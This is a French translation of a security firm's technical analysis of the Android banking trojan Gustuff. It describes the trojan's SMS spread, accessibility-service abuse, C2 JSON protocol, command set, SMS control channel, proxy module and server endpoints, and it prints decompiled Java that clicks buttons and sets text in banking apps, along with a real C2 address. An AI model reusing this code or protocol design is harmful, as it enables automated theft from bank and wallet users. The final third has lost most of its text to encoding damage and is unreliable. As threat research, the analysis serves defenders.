
L'autre jour, Group-IB a
rendu compte de l'activité du cheval de Troie mobile Android Gustuff. Il fonctionne exclusivement sur les marchés internationaux, attaquant les clients des 100 plus grandes banques étrangères, les utilisateurs de 32 portefeuilles cryptographiques mobiles, ainsi que d'importantes ressources de commerce électronique. Mais le développeur de Gustuff est un cybercriminel russophone sous le surnom de Bestoffer. Jusqu'à récemment, il louait son cheval de Troie comme «un produit sérieux pour les personnes ayant des connaissances et de l'expérience».
Ivan Pisarev, spécialiste de l'analyse des codes malveillants du groupe IB, explique dans ses recherches en détail comment Gustuff fonctionne et quel est son danger.
Qui chasse Gustuff?
Gustuff est une nouvelle génération de malware avec des fonctionnalités entièrement automatisées. Selon le développeur, le cheval de Troie est devenu une nouvelle version améliorée du logiciel malveillant AndyBot, qui, depuis novembre 2017, attaque les téléphones Android et vole de l'argent via des formulaires Web de phishing qui se font passer pour des applications mobiles de banques et de systèmes de paiement internationaux bien connus. Bestoffer a indiqué que le prix de location du Gustuff Bot était de 800 $ par mois.
L'analyse de l'échantillon de Gustuff a montré que le cheval de Troie est potentiellement destiné aux clients utilisant les applications mobiles des plus grandes banques, telles que Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ainsi que Bitcoin Wallet, BitPay crypto wallets , Cryptopay, Coinbase, etc.
Créée à l'origine comme un cheval de Troie bancaire classique, la version actuelle de Gustuff a considérablement élargi la liste des cibles potentielles d'attaque. En plus des applications Android des banques, des sociétés de technologies financières et des services de cryptographie, Gustuff s'adresse aux utilisateurs d'applications de marché, de boutiques en ligne, de systèmes de paiement et de messageries instantanées. En particulier, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut et autres.
Point d'entrée: calcul de l'infection de masse
Gustuff se caractérise par le vecteur «classique» de pénétration dans les smartphones Android via l'envoi de SMS avec des liens vers des APK. Si l'appareil Android est infecté par un cheval de Troie à la demande du serveur, Gustuff peut se propager davantage via la base de données de contacts du téléphone infecté ou via la base de données du serveur. La fonctionnalité de Gustuff est conçue pour une infection massive et la capitalisation maximale de l'entreprise de ses opérateurs - elle a une fonction unique de «remplissage automatique» dans les applications bancaires mobiles et les crypto-portefeuilles légitimes, ce qui vous permet d'accélérer et d'étendre le vol d'argent.
L'étude du cheval de Troie a montré que la fonction de remplissage automatique y était implémentée à l'aide du service d'accessibilité - un service pour les personnes handicapées. Gustuff n'est pas le premier cheval de Troie qui contourne avec succès la protection contre l'interaction avec les éléments de fenêtre d'autres applications utilisant ce service Android. Cependant, l'utilisation du service d'accessibilité conjointement avec le chargement automatique est encore assez rare.
Après avoir téléchargé la victime sur le téléphone, Gustuff, en utilisant le service d'accessibilité, a la possibilité d'interagir avec des éléments de fenêtre d'autres applications (banque, crypto-monnaie, ainsi que des applications pour les achats en ligne, la messagerie, etc.), effectuant les actions nécessaires pour les attaquants. Par exemple, à la commande du serveur, le cheval de Troie peut cliquer sur des boutons et modifier les valeurs des champs de texte dans les applications bancaires. L'utilisation du mécanisme du service d'accessibilité permet au cheval de Troie de contourner les mécanismes de protection utilisés par les banques pour contrer les chevaux de Troie mobiles de la génération précédente, ainsi que les changements dans la politique de sécurité introduite par Google dans les nouvelles versions du système d'exploitation Android. Ainsi, Gustuff "sait comment" désactiver la protection Google Protect: selon l'auteur, cette fonction fonctionne dans 70% des cas.

Gustuff peut également afficher de fausses notifications PUSH avec des icônes d'applications mobiles légitimes. L'utilisateur clique sur la notification PUSH et voit une fenêtre de phishing téléchargée depuis le serveur, où il entre lui-même les données demandées d'une carte bancaire ou d'un portefeuille crypté. Dans un autre scénario, Gustuff ouvre une application pour le compte de laquelle une notification PUSH a été démontrée. Dans ce cas, le programme malveillant, sur commande du serveur via le service d'accessibilité, peut remplir les champs du formulaire de l'application bancaire pour une transaction frauduleuse.
La fonctionnalité de Gustuff comprend également l'envoi d'informations sur un appareil infecté au serveur, la possibilité de lire / envoyer des messages SMS, d'envoyer des demandes USSD, de lancer le proxy SOCKS5, de suivre le lien, d'envoyer des fichiers (y compris des numérisations de photos de documents, des captures d'écran, des photos) au serveur réinitialiser l'appareil aux paramètres d'usine.
Analyse des logiciels malveillants
Avant d'installer une application malveillante, Android OS affiche à l'utilisateur une fenêtre contenant une liste des droits demandés par Gustuff:
L'installation de l'application n'aura lieu qu'après avoir obtenu le consentement de l'utilisateur. Après avoir lancé l'application, le cheval de Troie affichera à l'utilisateur une fenêtre:
Ensuite, il supprimera son icône.
Gustuff est conditionné, selon l'auteur, par un conditionneur FTT. Après le démarrage, l'application accède périodiquement au serveur CnC afin de recevoir des commandes. Dans plusieurs des fichiers que nous avons examinés, l'adresse IP
88.99.171 [.] 105 a été utilisée comme serveur de contrôle (dans ce qui suit, nous la désignerons comme
<% CnC%> ).
Après le démarrage, le programme commence à envoyer des messages au serveur
http: // <% CnC%> /api/v1/get.php .
En réponse, JSON est attendu dans le format suivant:
{ "results" : "OK", "command":{ "id": "<%id%>", "command":"<%command%>", "timestamp":"<%Server Timestamp%>", "params":{ <%Command parameters as JSON%> }, }, }
Chaque fois que l'application envoie des informations sur un appareil infecté. Le format du message est présenté ci-dessous. Il convient de noter que les champs
complets ,
supplémentaires ,
applications et
autorisations sont facultatifs et ne seront envoyés qu'en cas de commande de demande de CnC.
{ "info": { "info": { "cell":<%Sim operator name%>, "country":<%Country ISO%>, "imei":<%IMEI%>, "number":<%Phone number%>, "line1Number":<%Phone number%>, "advertisementId":<%ID%> }, "state": { "admin":<%Has admin rights%>, "source":<%String%>, "needPermissions":<%Application needs permissions%>, "accesByName":<%Boolean%>, "accesByService":<%Boolean%>, "safetyNet":<%String%>, "defaultSmsApp":<%Default Sms Application%>, "isDefaultSmsApp":<%Current application is Default Sms Application%>, "dateTime":<%Current date time%>, "batteryLevel":<%Battery level%> }, "socks": { "id":<%Proxy module ID%>, "enabled":<%Is enabled%>, "active":<%Is active%> }, "version": { "versionName":<%Package Version Name%>, "versionCode":<%Package Version Code%>, "lastUpdateTime":<%Package Last Update Time%>, "tag":<%Tag, default value: "TAG"%>, "targetSdkVersion":<%Target Sdk Version%>, "buildConfigTimestamp":1541309066721 }, }, "full": { "model":<%Device Model%>, "localeCountry":<%Country%>, "localeLang":<%Locale language%>, "accounts":<%JSON array, contains from "name" and "type" of accounts%>, "lockType":<%Type of lockscreen password%> }, "extra": { "serial":<%Build serial number%>, "board":<%Build Board%>, "brand":<%Build Brand%>, "user":<%Build User%>, "device":<%Build Device%>, "display":<%Build Display%>, "id":<%Build ID%>, "manufacturer":<%Build manufacturer%>, "model":<%Build model%>, "product":<%Build product%>, "tags":<%Build tags%>, "type":<%Build type%>, "imei":<%imei%>, "imsi":<%imsi%>, "line1number":<%phonenumber%>, "iccid":<%Sim serial number%>, "mcc":<%Mobile country code of operator%>, "mnc":<%Mobile network codeof operator%>, "cellid":<%GSM-data%>, "lac":<%GSM-data%>, "androidid":<%Android Id%>, "ssid":<%Wi-Fi SSID%> }, "apps":{<%List of installed applications%>}, "permission":<%List of granted permissions%> }
Stockage des données de configuration
Gustuff stocke des informations importantes sur le travail dans un fichier de préférences. Le nom de fichier, ainsi que les noms de paramètres qu'il
contient , est le résultat du calcul de la somme MD5 à partir de la ligne
15413090667214.6.1 <% name%> , où
<% name%> est la valeur de nom d'origine. Interprétation Python de la fonction de génération de nom:
nameGenerator(input): output = md5("15413090667214.6.1" + input)
Dans ce qui suit, nous le désignerons comme
nameGenerator (entrée) .
Ainsi, le nom du premier fichier est:
nameGenerator ("API_SERVER_LIST") , il contient des valeurs avec les noms suivants:
Nom de variable | Valeur |
---|
nameGenerator ("API_SERVER_LIST") | Contient une liste d'adresses CnC sous forme de tableau. |
nameGenerator ("API_SERVER_URL") | Contient une adresse CnC. |
nameGenerator ("SMS_UPLOAD") | Le drapeau est défini par défaut. Si l'indicateur est défini - envoie des messages SMS à CnC. |
nameGenerator ("SMS_ROOT_NUMBER") | Numéro de téléphone auquel les SMS reçus par l'appareil infecté seront envoyés. La valeur par défaut est null. |
nameGenerator ("SMS_ROOT_NUMBER_RESEND") | Le drapeau est effacé par défaut. S'il est installé, lorsqu'un appareil infecté reçoit un SMS, il sera envoyé au numéro racine. |
nameGenerator ("DEFAULT_APP_SMS") | Le drapeau est effacé par défaut. Si cet indicateur est défini, l'application traitera les messages SMS entrants. |
nameGenerator ("DEFAULT_ADMIN") | Le drapeau est effacé par défaut. Si l'indicateur est défini, l'application dispose de droits d'administrateur. |
nameGenerator ("DEFAULT_ACCESSIBILITY") | Le drapeau est effacé par défaut. Si l'indicateur est défini, un service utilisant le service d'accessibilité est démarré. |
nameGenerator ("APPS_CONFIG") | L'objet JSON contient une liste d'actions qui doivent être effectuées lorsque l'événement d'accessibilité associé à une application particulière est déclenché. |
nameGenerator ("APPS_INSTALLED") | Stocke une liste des applications installées sur l'appareil. |
nameGenerator ("IS_FIST_RUN") | Le drapeau est réinitialisé au premier démarrage. |
nameGenerator ("UNIQUE_ID") | Contient un identifiant unique. Il est généré lors du premier lancement du bot. |
Module de traitement des commandes du serveur
L'application stocke les adresses des serveurs CnC sous la forme d'un tableau de
chaînes codées en
Base85 . La liste des serveurs CnC peut être modifiée à la réception de la commande appropriée, auquel cas les adresses seront stockées dans un fichier de préférences.
En réponse à la demande, le serveur envoie une commande à l'application. Il convient de noter que les commandes et les paramètres sont présentés au format JSON. Une application peut traiter les commandes suivantes:
L'équipe | La description |
---|
forwardStart | Commencez à envoyer des messages SMS reçus par le périphérique infecté au serveur CnC. |
forwardStop | Arrêtez d'envoyer des messages SMS reçus par le périphérique infecté au serveur CnC. |
ussdRun | Exécutez la demande USSD. Le numéro auquel vous souhaitez faire une demande USSD se trouve dans le champ JSON "numéro". |
sendSms | Envoyez un SMS (si nécessaire, le message est "divisé" en plusieurs parties). En paramètre, la commande prend un objet JSON contenant les champs "à" - le numéro de destination et "corps" - le corps du message. |
sendSmsAb | Envoyez des SMS (si nécessaire, le message est "divisé" en parties) à tout le monde à partir de la liste de contacts de l'appareil infecté. L'intervalle entre l'envoi de messages est de 10 secondes. Le corps du message se trouve dans le champ JSON "body" |
sendSmsMass | Envoyer des messages SMS (si nécessaire, le message est "divisé" en parties) aux contacts spécifiés dans les paramètres de commande. L'intervalle entre l'envoi de messages est de 10 secondes. En paramètre, la commande accepte un tableau JSON (champ "sms"), dont les éléments contiennent les champs "to" - le numéro de destination et "body" - le corps du message. |
changeServer | Cette commande en tant que paramètre peut prendre une valeur avec la clé "url" - alors le bot changera la valeur de nameGenerator ("SERVER_URL"), ou "array" - puis le bot écrira le tableau dans nameGenerator ("API_SERVER_LIST") Ainsi, l'application change l'adresse des serveurs CnC. |
adminNumber | La commande est conçue pour fonctionner avec le numéro racine. La commande accepte un objet JSON avec les paramètres suivants: "nombre" - remplacez nameGenerator ("ROOT_NUMBER") par la valeur reçue, "resend" - changez nameGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - envoyez à nameGenerator ("ROOT_NUMBER") uniqueID. |
updateInfo | Envoyez des informations sur un périphérique infecté au serveur. |
wipeData | La commande est conçue pour supprimer les données utilisateur. Selon le nom du lancement de l'application, soit les données sont complètement effacées lors du redémarrage de l'appareil (utilisateur principal), soit seules les données utilisateur sont supprimées (utilisateur secondaire). |
chaussettes | Lancez le module proxy. Le fonctionnement du module est décrit dans une section distincte. |
chaussettes | Arrêtez le module proxy. |
openLink | Suivez le lien. Le lien est situé dans le paramètre JSON par la clé "url". Pour ouvrir le lien, utilisez "android.intent.action.VIEW". |
uploadAllSms | Envoyez au serveur tous les messages SMS reçus par l'appareil. |
uploadAllPhotos | Envoyez des images d'un appareil infecté à l'URL. L'URL est fournie en tant que paramètre. |
uploadFile | Envoyez le fichier à l'URL depuis le périphérique infecté. L'URL est fournie en tant que paramètre. |
uploadPhoneNumbers | Envoyez des numéros de téléphone de la liste de contacts au serveur. Si un objet JSON avec la clé «ab» vient en paramètre, l'application reçoit la liste des contacts du répertoire téléphonique. Si un objet JSON avec la touche "sms" est fourni en paramètre, l'application lit la liste des contacts des expéditeurs de messages SMS. |
changeArchive | L'application télécharge le fichier à partir de l'adresse, qui vient en paramètre avec la clé "url". Le fichier téléchargé est enregistré sous le nom "archive.zip". Après cela, l'application décompressera le fichier, si nécessaire, en utilisant le mot de passe pour l'archive "b5jXh37gxgHBrZhQ4j3D". Les fichiers décompressés sont enregistrés dans le répertoire [stockage externe] / hgps. Dans ce répertoire, l'application stocke les contrefaçons Web (décrites plus loin). |
les actions | La commande est conçue pour fonctionner avec le service d'action, qui est décrit dans une section distincte. |
test | Ça ne fait rien. |
télécharger | La commande est conçue pour télécharger un fichier à partir d'un serveur distant et l'enregistrer dans le répertoire Téléchargements. L'URL et le nom de fichier sont fournis en paramètre, les champs du paramètre d'objet JSON, respectivement: "url" et "fileName". |
supprimer | Supprime un fichier du répertoire Téléchargements. Le nom de fichier vient dans le paramètre JSON avec la clé "fileName". Le nom de fichier par défaut est «tmp.apk». |
notification | Afficher une notification avec des textes de description et de titre définis par le serveur de gestion. |
Le format de la commande de
notification est le suivant:
{ "results" : "OK", "command":{ "id": <%id%>, "command":"notification", "timestamp":<%Server Timestamp%>, "params":{ "openApp":<%Open original app or not%>, "array":[ {"title":<%Title text%>, "desc":<%Description text%>, "app":<%Application name%>} ] }, }, }
La notification générée par le fichier étudié semble identique aux notifications créées par l'application spécifiée dans le champ d'
application . Si la valeur du champ
openApp est True, lorsque la notification est ouverte, l'application spécifiée dans le champ
app est lancée. Si la valeur du champ
openApp est False, alors:
- une fenêtre de phishing s'ouvre, dont le contenu est téléchargé depuis le répertoire <% external storage%> / hgps / <% filename%>
- une fenêtre de phishing s'ouvre, dont le contenu est téléchargé depuis le serveur <% url%>? id = <% Bot id%> & app = <% Application name%>
- Une fenêtre de phishing déguisée en carte Google Play s'ouvre, avec la possibilité de saisir les informations de la carte.
L'application envoie le résultat de l'exécution de toute commande à
<% CnC%> \ set_state.php en tant qu'objet JSON au format suivant:
{ "command": { "command":<%command%>, "id":<%command_id%>, "state":<%command_state%> } "id":<%bot_id%> }
ActionsServiceLa liste des commandes que l'application traite comprend une
action . Dès réception d'une commande, le module de traitement de commande accède à ce service afin d'exécuter une commande étendue. Le service accepte un objet JSON comme paramètre. Un service peut exécuter les commandes suivantes:
1. PARAMS_ACTION - à réception d'une telle commande, le service reçoit tout d'abord du paramètre JSON la valeur par la clé Type, elle peut être la suivante:
- serviceInfo - la sous-commande reçoit du paramètre JSON la valeur de la clé includeNotImportant . Si l'indicateur est True, l'application définit l'indicateur FLAG_ISOLATED_PROCESS sur un service qui utilise le service d'accessibilité. Ainsi, le service sera lancé dans un processus distinct.
- root - obtenir et envoyer au serveur des informations sur la fenêtre, qui est maintenant au point. Une application récupère des informations à l'aide de la classe AccessibilityNodeInfo.
- admin - demande des droits d'administrateur.
- delay - suspendre le ActionsService pendant le nombre de millisecondes spécifié dans le paramètre avec la clé "data".
- windows - envoyer une liste des fenêtres visibles à l'utilisateur.
- installer - installez l'application sur un appareil infecté. Le nom du package - archive est dans la clé "fileName". L'archive elle-même se trouve dans le répertoire Téléchargements.
- global - la sous-commande est conçue pour passer de la fenêtre actuelle:
- dans le menu Paramètres rapides
- retour
- la maison
- aux notifications
- à la fenêtre des applications récemment ouvertes
- launch - lance l'application. Le nom de l'application vient en paramètre de la clé de données .
- sons - changez le mode sonore pour le faire taire.
- déverrouiller - allume le rétroéclairage de l'écran et du clavier à pleine luminosité. L'application exécute cette action à l'aide de WakeLock, la chaîne [Étiquette d'application]: INFO
- permissionOverlay - la fonction n'est pas implémentée (la réponse à l'exécution de la commande est {"message": "Not support"} ou {"message": "low sdk"})
- geste - la fonction n'est pas implémentée (la réponse à l'exécution de la commande est {"message": "Not support"} ou {"message": "Low API"})
- autorisations - cette commande est requise pour demander des autorisations pour l'application. Cependant, la fonction de requête n'est pas implémentée, donc la commande n'a pas de sens. La liste des droits demandés se présente sous la forme d'un tableau JSON avec la clé "permissions". Liste standard:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- open - affiche une fenêtre de phishing. Selon le paramètre provenant du serveur, l'application peut afficher les fenêtres de phishing suivantes:
- Afficher une fenêtre de phishing dont le contenu est écrit dans le fichier du répertoire <% external directory%> / hgps / <% param_filename%> . Le résultat de l'interaction de l'utilisateur avec la fenêtre sera envoyé à <% CnC%> / records.php
- Afficher une fenêtre de phishing dont le contenu est préchargé à partir de l'adresse <% url_param%>? Id = <% bot_id%> & app = <% packagename%> . Le résultat de l'interaction de l'utilisateur avec la fenêtre sera envoyé à <% CnC%> / records.php
- Afficher la fenêtre de phishing déguisée en carte Google Play.
- interactive - la commande est conçue pour interagir avec les éléments de fenêtre d'autres applications à l'aide d'AcessibilityService. Pour l'interaction, un service spécial est implémenté dans le programme. L'application à l'étude peut interagir avec les fenêtres:
- Actif en ce moment. Dans ce cas, le paramètre contient l'identifiant ou le texte (nom) de l'objet avec lequel il est nécessaire d'interagir.
- Visible par l'utilisateur au moment de l'exécution de la commande. L'application sélectionne les fenêtres par id.
Après avoir reçu des objets AccessibilityNodeInfo pour les éléments de fenêtre d'intérêt, l'application, en fonction des paramètres, peut effectuer des actions:
- focus - définit le focus sur l'objet.
- cliquez - cliquez sur un objet.
- actionId - effectuer une action par ID.
- setText - change le texte de l'objet. La modification du texte est possible de deux manières: effectuez l'action ACTION_SET_TEXT (si la version Android du périphérique infecté est plus jeune ou égale à LOLLIPOP ), ou en plaçant une ligne dans le presse-papiers et en la collant dans l'objet (pour les versions plus anciennes). Cette commande peut être utilisée pour modifier des données dans une application bancaire.
2. PARAMS_ACTIONS - identique à
PARAMS_ACTION , seul le tableau de commandes JSON est fourni.
Il semble que beaucoup seront intéressés par l'apparence de la fonction d'interaction avec les éléments de fenêtre d'une autre application. Voici comment cette fonctionnalité est implémentée dans Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) { int count = action.optInt("repeat", 1); Iterator aiListIterator = ((Iterable)aiList).iterator(); int count = 0; while(aiListIterator.hasNext()) { Object ani = aiListIterator.next(); if(1 <= count) { int index; for(index = 1; true; ++index) { if(action.has("focus")) { if(((AccessibilityNodeInfo)ani).performAction(1)) { ++count; } } else if(action.has("click")) { if(((AccessibilityNodeInfo)ani).performAction(16)) { ++count; } } else if(action.has("actionId")) { if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) { ++count; } } else if(action.has("setText")) { customHeader ch = CustomAccessibilityService.a; Context context = this.getApplicationContext(); String text = action.optString("setText"); if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) { ++count; } } if(index == count) { break; } } } ((AccessibilityNodeInfo)ani).recycle(); } res.addPropertyNumber("res", Integer.valueOf(count)); }
Fonction de remplacement de texte:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) { boolean result; if(Build$VERSION.SDK_INT >= 21) { Bundle b = new Bundle(); b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text)); result = ani.performAction(0x200000, b);
Ainsi, si le serveur de contrôle est correctement configuré, Gustuff est en mesure de remplir les champs de texte de l'application bancaire et de cliquer sur les boutons nécessaires à la transaction. Le cheval de Troie n'a même pas besoin d'être autorisé dans l'application - il suffit d'envoyer une commande pour démontrer la notification PUSH, puis d'ouvrir l'application bancaire précédemment installée. L'utilisateur passera par une autorisation, après quoi Gustuff pourra remplir automatiquement.
Module de traitement SMS
L'application définit le gestionnaire d'événements pour accepter les messages SMS par le périphérique infecté. L'application à l'étude peut recevoir des commandes de l'opérateur qui viennent dans le corps des messages SMS. Les commandes sont au format:
7! 5 = <% Base64 encoded command%>L'application recherche dans tous les messages SMS entrants la chaîne
7! 5 = , si elle détecte une chaîne, elle décode une chaîne Base64 à l'offset 4 et exécute la commande. Les commandes sont similaires aux commandes avec CnC. Le résultat de l'exécution est envoyé au même numéro que la commande. Format de réponse:
7 * 5 = <% Encodage Base64 de la "commande code_résultat"%>Facultativement, l'application peut envoyer tous les messages reçus au numéro racine. Pour ce faire, un numéro racine doit être spécifié dans le fichier de préférences et l'indicateur de redirection de message est défini. Un SMS est envoyé au numéro de l'attaquant au format:
<% Du numéro%> - <% Heure, format: jj / MM / aaaa HH: mm: ss%> <% Corps SMS%>En option, l'application peut également envoyer des messages à CnC. Le message SMS est envoyé au serveur au format JSON:
{ "id":<%BotID%>, "sms": { "text":<%SMS body%>, "number":<%From number%>, "date":<%Timestamp%> } }
Si l'indicateur
nameGenerator ("DEFAULT_APP_SMS") est défini, l'application arrête le traitement des messages SMS et efface la liste des messages entrants.
Module proxy
Dans l'application à l'étude, il existe un module Proxy Backconnect (ci-après dénommé module Proxy), qui a une classe distincte qui comprend des champs statiques avec configuration. Les données de configuration sont stockées dans l'exemple sous forme ouverte:
Toutes les actions effectuées par le module Proxy sont enregistrées dans des fichiers. Pour ce faire, l'application dans le stockage externe crée un répertoire appelé "logs" (le champ ProxyConfigClass.logsDir dans la classe de configuration), dans lequel les fichiers journaux sont stockés. La journalisation se produit dans des fichiers avec des noms:
- main.txt - cette classe enregistre le fonctionnement de la classe avec le nom CommandServer. À l'avenir, la journalisation de la chaîne str dans ce fichier sera dénommée mainLog (str).
- session - <% id%>. txt - les données de journal associées à une session proxy spécifique sont enregistrées dans ce fichier. La journalisation ultérieure de la chaîne str dans ce fichier sera appelée sessionLog (str).
- server.txt - ces données enregistrent toutes les données écrites dans les fichiers ci-dessus.
Format des données du journal:
<% Date%> [Thread [<% thread id%>], id []]: chaîne de journal
Les exceptions qui se produisent pendant le fonctionnement du module Proxy sont également enregistrées dans un fichier. Pour cela, l'application génère un objet JSON au format:
{ "uncaughtException":<%short description of throwable%> "thread":<%thread%> "message":<%detail message of throwable%> "trace": //Stack trace info [ { "ClassName": "FileName": "LineNumber": "MethodName": }, { "ClassName": "FileName": "LineNumber": "MethodName": } ] }
Il la convertit ensuite en une représentation sous forme de chaîne et des journaux.
Le module proxy est lancé après réception de l'équipe appropriée. Lorsqu'une commande arrive pour démarrer le module Proxy, l'application démarre un service appelé
MainService , qui est chargé de contrôler le fonctionnement du module Proxy - son démarrage et son arrêt.
Étapes de démarrage du service:
1. Démarre une minuterie qui fonctionne une fois par minute et vérifie l'activité du module proxy. Si le module n'est pas actif, il le démarre.
De plus, lorsque l'événement
android.net.conn.CONNECTIVITY_CHANGE est déclenché, le module Proxy démarre.
2. L' application crée un verrou de réveil avec le paramètre
PARTIAL_WAKE_LOCK et le capture. Par conséquent, il ne permet pas au processeur de l'appareil de passer en mode veille.
3. Démarre la classe de traitement des commandes du module proxy en enregistrant d'abord la ligne mainLog
(«démarrer le serveur») et
Serveur :: start () hôte [<% proxy_cnc%>], commandPort [<% command_port%>], proxyPort [<% proxy_port%>]où
proxy_cnc, command_port et proxy_port sont les paramètres obtenus à partir de la configuration du serveur proxy.
La classe de traitement des commandes est appelée
CommandConnection . Immédiatement après le lancement, il effectue les actions suivantes:
4. Se connecte à
ProxyConfigClass.host :
ProxyConfigClass.commandPort et y envoie les données sur le périphérique infecté au format JSON:
{ "id":<%id%>, "imei":<%imei%>, "imsi":<%imsi%>, "model":<%model%>, "manufacturer":<%manufacturer%>, "androidVersion":<%androidVersion%>, "country":<%country%>, "partnerId":<%partnerId%>, "packageName":<%packageName%>, "networkType":<%networkType%>, "hasGsmSupport":<%hasGsmSupport%>, "simReady":<%simReady%>, "simCountry":<%simCountry%>, "networkOperator":<%networkOperator%>, "simOperator":<%simOperator%>, "version":<%version%> }
Où:
- id - identifiant, essayant d'obtenir la valeur avec le champ "id" du fichier de préférences partagées avec le nom "x". Si cette valeur n'a pas pu être obtenue, elle en génère une nouvelle. , Proxy- ̆ , ̆ Bot ID.
- imei — IMEI ̆. — .
- imsi — International Mobile Subscriber Identity ̆. — .
- model — The end-user-visible name for the end product.
- manufacturer — The manufacturer of the product/hardware (Build.MANUFACTURER).
- androidVersion — "<%release_version%> (<%os_version%>),<%sdk_version%>"
- country — ̆.
- partnerId – .
- packageName – package name.
- networkType — (: «WIFI», «MOBILE»). null.
- hasGsmSupport – true – GSM, false.
- simReady – SIM-.
- simCountry — ISO- ( ̆ -).
- networkOperator — . — .
- simOperator — The Service Provider Name (SPN). — .
- version — -, ̆ «1.6».
5. . :
- 0 offset – command
- 1 offset – sessionId
- 2 offset – length
- 4 offset — data
:
mainLog(«Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }»):
Name | Command | Data | La description |
---|
connectionId | 0 | Connection ID | |
SLEEP | 3 | Le temps | Proxy- |
PING_PONG | 4 | - | PONG- |
PONG- 4 :
0x04000000 .
connectionId ( )
CommandConnection ProxyConnection .
- : ProxyConnection end . ProxyConnection ProxyConfigClass.host : ProxyConfigClass.proxyPort JSON-:
{ "id":<%connectionId%> }
SOCKS5-, , . ̆
end . :
̆
̆ CnC- SSL. JSON-. :
- http://<%CnC%>/api/v1/set_state.php — .
- http://<%CnC%>/api/v1/get.php — .
- http://<%CnC%>/api/v1/load_sms.php — SMS-̆ ̆.
- http://<%CnC%>/api/v1/load_ab.php — ̆.
- http://<%CnC%>/api/v1/aevents.php – , preference-̆.
- http://<%CnC%>/api/v1/set_card.php — , -, Google Play Market.
- http://<%CnC%>/api/v1/logs.php – -.
- http://<%CnC%>/api/v1/records.php – , .
- http://<%CnC%>/api/v1/set_error.php – ̆ .
, , .
, . , , .
– - , , -, , , , , .
:
- Android - , Google Play;
- ;
- Android;
- ;
- ;
- , SMS-.
, Group-IB.